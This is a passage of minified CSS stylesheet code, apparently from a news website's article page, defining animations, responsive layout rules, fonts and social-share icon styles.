translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);}}@keyframes animation-1wqz2f4{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);}}@-webkit-keyframes animation-yl3z84{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);}}@keyframes animation-yl3z84{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);}}@-webkit-keyframes animation-1q3gjvc{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);}}@keyframes animation-1q3gjvc{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);}}@-webkit-keyframes animation-nc39ev{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);}}@keyframes animation-nc39ev{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);}}@-webkit-keyframes animation-amd09y{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);}}@keyframes animation-amd09y{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);}}@-webkit-keyframes animation-ru1vxe{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);}}@keyframes animation-ru1vxe{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);}}@-webkit-keyframes animation-ajnadh{0%{-webkit-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);}33.33%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);}}@keyframes animation-ajnadh{0%{-webkit-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);}33.33%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);}}.css-1ri25x2{display:none;}@media (min-width:740px){.css-1ri25x2{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:16px;height:31px;}}@media (min-width:1024px){.css-1ri25x2{display:none;}}.css-12fr9lp{height:23px;margin-top:6px;}.css-1hfdzay{display:none;}@media (min-width:1024px){.css-1hfdzay{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-top:0;}}.css-4g4cvq{display:none;}@media (min-width:740px){.css-4g4cvq{position:fixed;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;opacity:0;z-index:1;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;width:100%;height:32.063px;background:white;padding:5px 0;top:0;text-align:center;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;box-shadow:rgba(0,0,0,0.08) 0 0 5px 1px;border-bottom:1px solid #e2e2e2;}}.css-m6xlts{margin-left:20px;margin-right:20px;max-width:1605px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;width:100%;}@media (min-width:1360px){.css-m6xlts{margin-left:20px;margin-right:20px;}}@media (min-width:1780px){.css-m6xlts{margin-left:auto;margin-right:auto;}}.css-1ahhg7f{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;max-width:1605px;overflow:hidden;position:absolute;width:56%;margin-left:calc((100% - 56%) / 2);}@media (min-width:1024px){.css-1ahhg7f{width:56%;margin-left:calc((100% - 56%) / 2);}}@media (min-width:1024px){.css-1ahhg7f{width:53%;margin-left:calc((100% - 53%) / 2);}}.css-fwqvlz{font-family:nyt-cheltenham-small,georgia,'times new roman';font-weight:400;font-size:13px;-webkit-letter-spacing:0.015em;-moz-letter-spacing:0.015em;-ms-letter-spacing:0.015em;letter-spacing:0.015em;margin-top:10.5px;margin-right:auto;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}.css-17xtcya{font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:700;font-size:12.5px;text-transform:uppercase;-webkit-letter-spacing:0;-moz-letter-spacing:0;-ms-letter-spacing:0;letter-spacing:0;margin-top:12.5px;margin-bottom:auto;margin-left:auto;white-space:nowrap;}.css-17xtcya:hover{-webkit-text-decoration:underline;text-decoration:underline;}.css-x15j1o{display:inline-block;padding-left:7px;padding-right:7px;font-size:13px;margin-top:10px;margin-bottom:auto;color:#ccc;}.css-1705lsu{margin-top:auto;margin-bottom:auto;margin-left:auto;background-color:#fff;z-index:50;box-shadow:-14px 2px 7px -2px rgba(255,255,255,0.7);}@media (min-width:740px){.css-1iwv8en{margin-top:1px;}}@media (min-width:1024px){.css-1iwv8en{margin-top:0;}}@-webkit-keyframes animation-b7n1on{0%{-webkit-transform:rotate(0deg);-ms-transform:rotate(0deg);transform:rotate(0deg);}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);}}@keyframes animation-b7n1on{0%{-webkit-transform:rotate(0deg);-ms-transform:rotate(0deg);transform:rotate(0deg);}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);}}@-webkit-keyframes animation-1b9egsl{0%{-webkit-transform:rotate(20deg);-ms-transform:rotate(20deg);transform:rotate(20deg);}100%{-webkit-transform:rotate(380deg);-ms-transform:rotate(380deg);transform:rotate(380deg);}}@keyframes animation-1b9egsl{0%{-webkit-transform:rotate(20deg);-ms-transform:rotate(20deg);transform:rotate(20deg);}100%{-webkit-transform:rotate(380deg);-ms-transform:rotate(380deg);transform:rotate(380deg);}}.css-1rj8to8{display:inline-block;line-height:1em;}.css-1rj8to8 .css-0{-webkit-text-decoration:none;text-decoration:none;display:inline-block;}.css-4w91ra{display:inline-block;padding-left:3px;}.css-wg1cha{margin-left:20px;margin-right:20px;}@media (min-width:600px){.css-wg1cha{width:calc(100% - 40px);max-width:600px;margin:1.5rem auto 1em;}}@media (min-width:1440px){.css-wg1cha{width:600px;max-width:600px;margin:1.5rem auto 1em;}}.css-1ubp8k9{font-family:nyt-imperial,georgia,'times new roman',times,serif;font-style:italic;font-size:1.0625rem;line-height:1.5rem;width:calc(100% - 40px);max-width:600px;margin:1rem auto 0.75rem;}@media (min-width:740px){.css-1ubp8k9{font-size:1.1875rem;line-height:1.75rem;margin-bottom:1.25rem;}}@media (min-width:1440px){.css-1ubp8k9{width:600px;max-width:600px;}}@media print{.css-1ubp8k9{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@-webkit-keyframes animation-1egl8em{from{opacity:0;-webkit-transform:translate3d(0,13%,0);-ms-transform:translate3d(0,13%,0);transform:translate3d(0,13%,0);}to{opacity:1;-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);}}@keyframes animation-1egl8em{from{opacity:0;-webkit-transform:translate3d(0,13%,0);-ms-transform:translate3d(0,13%,0);transform:translate3d(0,13%,0);}to{opacity:1;-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);}}.css-vdv0al{font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:0.75rem;line-height:1rem;width:calc(100% - 40px);max-width:600px;margin:0 auto 1em;color:#999;}.css-vdv0al a{color:#999;-webkit-text-decoration:none;text-decoration:none;}.css-vdv0al a:hover{-webkit-text-decoration:underline;text-decoration:underline;}@media (min-width:1440px){.css-vdv0al{width:600px;max-width:600px;}}@media print{.css-vdv0al{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media print{.css-vdv0al span{display:none;}}.css-1i2y565 .e6idgb70 + .e1h9rw200{margin-top:0;}.css-1i2y565 .eoo0vm40 + .e1gnsphs0{margin-top:-0.3em;}.css-1i2y565 .e6idgb70 + .eoo0vm40{margin-top:0;}.css-1i2y565 .eoo0vm40 + figure{margin-top:1.2rem;}.css-1i2y565 .e1gnsphs0 + figure{margin-top:1.2rem;}.css-o6xoe7{display:none;}@media (min-width:1024px){.css-o6xoe7{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-right:0;margin-left:auto;width:130px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}}@media (min-width:1150px){.css-o6xoe7{width:210px;}}@media print{.css-o6xoe7{display:none;}}.css-1fanzo5{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-bottom:1rem;}@media (min-width:1024px){.css-1fanzo5{-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;height:100%;width:945px;margin-left:auto;margin-right:auto;}}@media (min-width:1150px){.css-1fanzo5{width:1110px;margin-left:auto;margin-right:auto;}}@media (min-width:1280px){.css-1fanzo5{width:1170px;}}@media (min-width:1440px){.css-1fanzo5{width:1200px;}}@media print{.css-1fanzo5{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media print{.css-1fanzo5{margin-bottom:1em;display:block;}}.css-53u6y8{margin-left:auto;margin-right:auto;width:100%;}@media (min-width:1024px){.css-53u6y8{margin-left:calc((100% - 600px) / 2);margin-right:0;width:600px;}}@media (min-width:1440px){.css-53u6y8{max-width:600px;width:600px;margin-left:calc((100% - 600px) / 2);}}@media print{.css-53u6y8{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-1m50asq{width:100%;vertical-align:top;}.css-z3e15g{position:fixed;opacity:0;-webkit-scroll-events:none;-moz-scroll-events:none;-ms-scroll-events:none;scroll-events:none;top:0;left:0;bottom:0;right:0;-webkit-transition:opacity 0.2s;transition:opacity 0.2s;background-color:#fff;pointer-events:none;}.css-uwwqev{width:100%;height:100%;}.css-1ly73wi{position:absolute;width:1px;height:1px;margin:-1px;padding:0;border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);overflow:hidden;}@-webkit-keyframes animation-7y3qfv{0%{opacity:0;}10%,90%{opacity:1;}100%{opacity:0;}}@keyframes animation-7y3qfv{0%{opacity:0;}10%,90%{opacity:1;}100%{opacity:0;}}.css-l72opv{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;position:relative;right:3px;}.css-l72opv a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-l72opv:nth-of-type(3),.css-l72opv:nth-of-type(4){display:none;}}.css-l72opv:last-of-type{margin-right:0;}.css-4skfbu{color:#999;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:17px;margin-bottom:5px;margin-bottom:0;}@media print{.css-4skfbu{display:none;}}.css-1fcn4th{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;}.css-1fcn4th a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-1fcn4th:nth-of-type(3),.css-1fcn4th:nth-of-type(4){display:none;}}.css-1fcn4th:last-of-type{margin-right:0;}@media (max-width:1150px){.css-1fcn4th:nth-of-type(1),.css-1fcn4th:nth-of-type(2),.css-1fcn4th:nth-of-type(3){display:none;}}.css-13zu7ev{display:inline-block;height:15px;vertical-align:middle;width:15px;background-color:#eee;border:1px #eee solid;border-radius:100%;padding:5px;width:14px;height:14px;}.css-13zu7ev.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-13zu7ev.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-13zu7ev.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-13zu7ev.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-13zu7ev.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-13zu7ev.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-13zu7ev.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-13zu7ev:hover{background-color:#fff;border:1px solid #ccc;}.css-f7l8cz{display:inline-block;height:15px;vertical-align:middle;width:15px;bottom:5px;position:relative;width:14px;height:14px;bottom:4px;}.css-f7l8cz.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-f7l8cz.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-f7l8cz.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-f7l8cz.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-f7l8cz.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-f7l8cz.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-f7l8cz.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-16ogagc{background:transparent;display:inline-block;height:20px;width:20px;background-color:#eee;border:1px #eee solid;border-radius:100%;padding:5px;width:27px;height:27px;}.css-16ogagc.hidden{opacity:0;visibility:hidden;}.css-16ogagc.hidden:focus{opacity:1;}.css-16ogagc:hover{background-color:#fff;border:1px solid #ccc;}.css-17ai7jg{color:#666;font-family:nyt-imperial,georgia,'times new roman',times,serif;margin:10px 20px 0;text-align:left;}.css-17ai7jg a{color:#326891;-webkit-text-decoration:none;text-decoration:none;}.css-17ai7jg a:hover,.css-17ai7jg a:focus{-webkit-text-decoration:underline;text-decoration:underline;}@media (min-width:600px){.css-17ai7jg{margin-left:0;}}.sizeSmall .css-17ai7jg{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:calc(50% - 15px);margin:auto 0 15px 15px;}@media (min-width:600px){.sizeSmall .css-17ai7jg{width:260px;margin-left:15px;}}@media (min-width:740px){.sizeSmall .css-17ai7jg{margin-left:15px;}}@media (min-width:1440px){.sizeSmall .css-17ai7jg{width:330px;margin-left:15px;}}@media (max-width:600px){.sizeSmall .css-17ai7jg{margin:auto 0 0 15px;}}.sizeSmall.sizeSmallNoCaption .css-17ai7jg{margin-left:auto;margin-right:auto;margin-top:10px;}.sizeMedium .css-17ai7jg{max-width:900px;}.sizeMedium.layoutVertical.verticalVideo .css-17ai7jg{margin-left:0;margin-right:0;}@media (min-width:600px){.sizeMedium.layoutVertical.verticalVideo .css-17ai7jg{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:255px;margin:auto 0 15px 15px;}}@media (min-width:1440px){.sizeMedium.layoutVertical.verticalVideo .css-17ai7jg{width:325px;}}.sizeLarge .css-17ai7jg{max-width:none;}@media (min-width:600px){.sizeLarge .css-17ai7jg{margin-left:20px;}}@media (min-width:740px){.sizeLarge .css-17ai7jg{margin-left:20px;max-width:900px;}}@media (min-width:1024px){.sizeLarge .css-17ai7jg{margin-left:0;max-width:720px;}}@media (min-width:1440px){.sizeLarge .css-17ai7jg{margin-left:0;max-width:900px;}}@media (min-width:740px){.sizeLarge.layoutVertical .css-17ai7jg{margin-left:0;}}.sizeFull .css-17ai7jg{margin-left:20px;}@media (min-width:600px){.sizeFull .css-17ai7jg{max-width:900px;}}@media (min-width:740px){.sizeFull .css-17ai7jg{max-width:900px;}}@media (min-width:1440px){.sizeFull .css-17ai7jg{max-width:900px;}}@media print{.css-17ai7jg{display:none;}}.css-8i9d0s{margin-right:7px;color:#666;font-family:nyt-imperial,georgia,'times new roman',times,serif;font-size:0.875rem;line-height:1.125rem;}@media (min-width:740px){.css-8i9d0s{font-size:0.9375rem;line-height:1.25rem;}}.css-8i9d0s strong{font-weight:700;}.css-8i9d0s em{font-style:italic;}.css-8i9d0s a{color:#326891;}.css-8i9d0s a:visited{color:#326891;}.css-1nwzsjy{display:inline-block;color:#888;font-family:nyt-imperial,georgia,'times new roman',times,serif;line-height:1.125rem;-webkit-letter-spacing:0.01em;-moz-letter-spacing:0.01em;-ms-letter-spacing:0.01em;letter-spacing:0.01em;font-size:0.75rem;}@media (min-width:740px){.css-1nwzsjy{font-size:0.75rem;}}@media (min-width:1150px){.css-1nwzsjy{font-size:0.8125rem;}}@media (min-width:600px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:5px;}}@media (min-width:1024px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:5px;}}@media (min-width:1440px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:40px;}}@media (max-width:600px){.sizeSmall.sizeSmallNoCaption .css-1nwzsjy{margin-left:-8px;}}@media print{.css-1nwzsjy{display:none;}}.css-10698na{text-align:center;}@media (min-width:740px){.css-10698na{padding-top:0;}}@media (min-width:1024px){}@media print{.css-10698na a[href]::after{content:'';}.css-10698na svg{fill:black;}}.css-nhjhh0{display:block;width:189px;height:26px;margin:5px auto 0;}@media (min-width:740px){.css-nhjhh0{width:225px;height:31px;margin:4px auto 0;}}@media (min-width:1024px){.css-nhjhh0{width:195px;height:26px;margin:6px auto 0;}}.css-1nuro5j{display:inline-block;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;font-size:0.875rem;line-height:1.125rem;margin:0;font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:700;color:#333;}@media (min-width:740px){.css-1nuro5j{font-size:0.9375rem;line-height:1.25rem;}}.css-1w5cs23{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin:0;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;}.css-1w5cs23 li{list-style:none;}.css-4brsb6{display:inline-block;height:15px;vertical-align:middle;width:15px;background-color:#eee;border:1px #eee solid;border-radius:100%;padding:5px;width:15px;height:15px;}.css-4brsb6.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-4brsb6.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-4brsb6.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-4brsb6.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-4brsb6.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-4brsb6.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-4brsb6.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-4brsb6:hover{background-color:#fff;border:1px solid #ccc;}.css-uhuo44{display:inline-block;height:15px;vertical-align:middle;width:15px;bottom:5px;position:relative;width:15px;height:15px;bottom:4px;}.css-uhuo44.facebook{background-image:url(/vi-assets/static-assets/icon-fb-circle-2ec7780140bd9e8e8398bbcdf5661569.svg);}.css-uhuo44.twitter{background-image:url(/vi-assets/static-assets/icon-twitter-circle-fc7c2748f5613c68963a0df203bffc05.svg);}.css-uhuo44.email{background-image:url(/vi-assets/static-assets/icon-share-email-circle-a2acce7e23b21d47bb606b628a6c7e34.svg);}.css-uhuo44.link{background-image:url(/vi-assets/static-assets/icon-share-permalink-circle-3ff3876a106221ee493d9542c0895863.svg);}.css-uhuo44.linkedin{background-image:url(/vi-assets/static-assets/icon-share-linkedin-circle-4d7bcf236c5f3a086738746f41f46f7b.svg);}.css-uhuo44.whatsapp{background-image:url(/vi-assets/static-assets/icon-whatsapp-video-a9503bf2b3c73111106c496d3ebc8c67.svg);}.css-uhuo44.reddit{background-image:url(/vi-assets/static-assets/icon-share-reddit-f882338200fd1971b767627fa5f60124.svg);}.css-exrw3m{margin-bottom:0.78125rem;margin-top:0;font-family:nyt-imperial,georgia,'times new roman',times,serif;font-size:1.125rem;line-height:1.5625rem;margin-left:20px;margin-right:20px;width:calc(100% - 40px);max-width:600px;}@media (min-width:740px){.css-exrw3m{margin-bottom:0.9375rem;margin-top:0;}}.css-exrw3m .css-1g7m0tk{-webkit-text-decoration:underline;text-decoration:underline;}.css-exrw3m 